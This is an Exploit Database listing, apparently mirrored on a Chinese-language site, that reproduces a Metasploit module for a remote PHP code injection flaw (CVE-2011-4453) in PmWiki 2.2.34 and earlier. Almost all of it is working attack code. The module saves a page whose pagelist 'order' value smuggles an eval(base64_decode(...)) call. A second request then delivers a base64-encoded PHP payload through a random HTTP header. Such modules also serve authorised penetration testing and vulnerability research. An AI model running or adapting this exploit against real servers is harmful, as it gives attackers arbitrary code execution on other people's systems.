PmWiki 2.2.34 – ‘pagelist’ Remote PHP Code Injection (2) (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2011-12-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18243/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => 'PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit',
  			'Description'=> %q{
  				This module exploits an arbitrary command execution vulnerability
  				in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
  				inside /scripts/pagelist.php.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'EgiX',# Vulnerability discovery and exploit
  					'TecR0c' # Metasploit Module
  				],
  			'References' =>
  				[
  					['CVE', '2011-4453'],
  					['BID', '50776'],
  					['OSVDB', '77261'],
  					['URL', 'http://www.exploit-db.com/exploits/18149/'],
  					['URL', 'http://www.pmwiki.org/wiki/PITS/01271']
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Keys'=> ['php'],
  					'Space' => 4000,
  					'DisableNops' => true,
  				},
  			'Platform' => ['php'],
  			'Arch' => ARCH_PHP,
  			'Targets'=> [['Automatic',{}]],
  			'DisclosureDate' => 'Nov 09 2011',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('URI',[true, "The path to the pmwiki installation", "/"]),
  			],self.class)
  	end
  
  	def check
  		uri = datastore['URI']
  		uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'
  
  		res = send_request_raw(
  			{
  				'uri' => uri
  			}, 25)
  
  		if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		p = Rex::Text.encode_base64(payload.encoded)
  		header = rand_text_alpha_upper(3)
  		header_append = rand_text_alpha_upper(4)
  
  		uri = datastore['URI']
  		uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php'
  
  		res = send_request_cgi({
  			'method'=> 'POST',
  			'uri' => uri,
  			'vars_post' =>
  				{
  					'action' => 'edit',
  					'post' => 'save',
  					'n' => "#{header}.#{header_append}",
  					'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)",
  				}
  			}, 25)
  
  		res = send_request_cgi({
  			'method'=> 'POST',
  			'uri' => uri,
  			'headers' =>
  				{
  					header => p,
  					'Connection' => 'Close',
  				},
  			'vars_post' =>
  				{
  					'n' => "#{header}.#{header_append}",
  				}
  		}, 25)
  	end
  end